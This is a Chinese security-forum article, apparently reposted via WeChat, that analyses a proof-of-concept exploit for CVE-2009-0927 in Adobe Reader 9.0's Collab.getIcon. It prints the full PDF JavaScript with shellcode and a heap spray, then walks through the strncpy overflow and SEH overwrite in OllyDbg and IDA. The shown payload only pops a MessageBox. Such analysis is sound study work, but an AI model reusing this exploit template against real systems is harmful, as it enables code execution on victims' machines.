查看原文
其他

CVE-2009-0927POC分析

0346954 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:0346954





CVE-2009-0927简介


Adobe Reader是非常流行的PDF文件阅读器,在其Collab对象的getIcon函数中存在一个缓冲区溢出漏洞。同时由于PDF文档中支持内嵌的JavaScript,攻击者可以通过在PDF文档中植入恶意的JavaScript来想getIcon函数传递特制的参数以触发溢出漏洞,并结合Heap Spray攻击来计算机的控制权。





漏洞原理及利用分析


一个PDF文件被打开时会执行OpenAction对象里面的脚本,所以只要在OpenAction对象里添加精心构造的JS脚本就可以实现对Adobe Reader的攻击。通过如下的JS脚本来分析这一攻击过程。

PDF中的JS脚本如下:

7 0 obj<</Type /Action/S /JavaScript/JS (
var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u6577%u7473%u6668%u6961%u8b6c%u53c4%u5050%uff53%ufc57%uff53%uf857");var nops = unescape("%u9090%u9090");while (nops.length < 0x100000)nops += nops;nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);nops=nops+shellcode;var memory = new Array();for (var i=0;i<200;i++)memory[i] += nops;var str = unescape("%0c%0c%0c%0c");while(str.length < 0x6000)str += str;
app.doc.Collab.getIcon(str+'aaaaD.a');)>>endobj


通过给getIcon函数传入特定的较长数据来覆盖SEH处理记录,然后继续往后复制就会触发异常执行shellcode。





漏洞POC表现

打开此文档之后会弹出一个MessageBox,标题和内容都为字符串failwest。





实验环境


操作系统为Windows Xp SP3, 阅读器 Adobe Reader 9.0版本。


分析如下:


1.首先用OllyDbg加载Adobe Reader,启动完成后打开POC文档


碰到一个坑,是OllyDbg忽略了异常,没有停留在异常发生的地方。需要设置如下:

2.打开POC文档出现异常

左下角显示 访问冲突 正在写入到00130000 地址处,调用Alt+M查看内存段属性,截图如下:

内存段为只读属性,此时EDI寄存器为0x130000,反汇编区可以看到此时在EDI指向的内存区域写入数据,所以触发异常。


此时观察右下角栈区域发现有对strncpy的调用,反汇编区域跳转到0x2210FE27,查看此时代码如下:


可以看到0x2210FE27指令前面的一条指令为call edi 通过前面指令可知EDI寄存器指向strncpy函数处,所以此时调用的函数为strncpy函数,这应该就是溢出的根源了,但是strncpy函数限制了复制字符串的长度,为什么还会发生异常呢?

继续向上看,原来程序在调用strncpy函数时将复制长度设置成原字符串的长度了,这就相当于strcpy了,当源字符串长度大于目标缓冲区长度时就会发生溢出,通过查看上面代码可以发现长度来源于传入字符串起始位置到字符的位置相减再-1作为复制的长度,可以通过IDA进行验证。

按ALT+E可以查看程序中所有的模块,可以看到反汇编窗口中指令处于如下模块:

通过IDA打开此文件,跳转到此0x2210FE27,按F5键查看伪C代码如下:


可以看到strncpy复制长度正如我们猜想的是来自于源字符串。

重新打开阅读器,调试如下,在指令0x2210FDE8处设置条件断点eax-edi>500

0x500为一个较大值,可以看到此时已经断了下来,EAX-EDI=0x8005,复制长度为0x8005-1=0x8004,可以看到EDI为0x36EFB1C指向的数据在左下角的数据区中以0xC0C0C0C0开头,继续调试,在call edi指令处中断,此时右下角栈中数据可以看到数据长度为0x8004,source指向0xC0C0C0C0开头的数据,如下所示:

复制目标地址为0x12EB24,复制长度为0x8004,两者相加0x12EB24+0x8004=0x136B28这个内存地址>0x130000,此时继续复制数据的时候就会触发异常。

复制数据过长破坏了栈中数据,覆盖了异常处理函数地址,未调用strncpy函数之前此时按Alt+S可以看此时的SHE链,如下所示:

栈中地址0x12ED28位置处存放SEH结构体,0x12ED28存放下一个SHE记录的位置,0x12ED2C中存放本次异常的处理函数地址,如下所示:
 
此时按F9运行程序,程序异常停止运行,如下所示: 

此时写入到0x130000出现异常,这个之前已经分析过,此时看栈中数据,刚才存放SEH处地址的数据为0x0C0C0C0C,查看SHE链如下所示:

此时触发异常之后调用异常处理函数为0x0C0C0C0C处的数据如下所示:

是一大段的nop,POC表现形式为弹出一个对话框所以此时可以在MessageBoxA下断点,分析shellcode,可以先忽略程序异常,设置如下:

然后F9运行程序,如下所示:

查看0x0C100008处代码:

上一条指令为call [edi-4],可以看到左下角数据区为此时调用的函数为MessageBoxA,然后调用call [edi-8]是ExitProcess函数退出程序。shellcode如下:



- End -



看雪ID:0346954

https://bbs.pediy.com/user-home-762319.htm

  *本文由看雪论坛 0346954 原创,转载请注明来自看雪社区。



2.5折优惠票数量有限,先到先得哦!

推荐文章++++

* 黑白鉴定入门之一款后门的分析思路

* 双向进攻:分析tcpdump DOS漏洞成因

* PWN:fastbin attack学习

* 反汇编代码还原之除数为非2的幂

格式化字符串漏洞解析







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存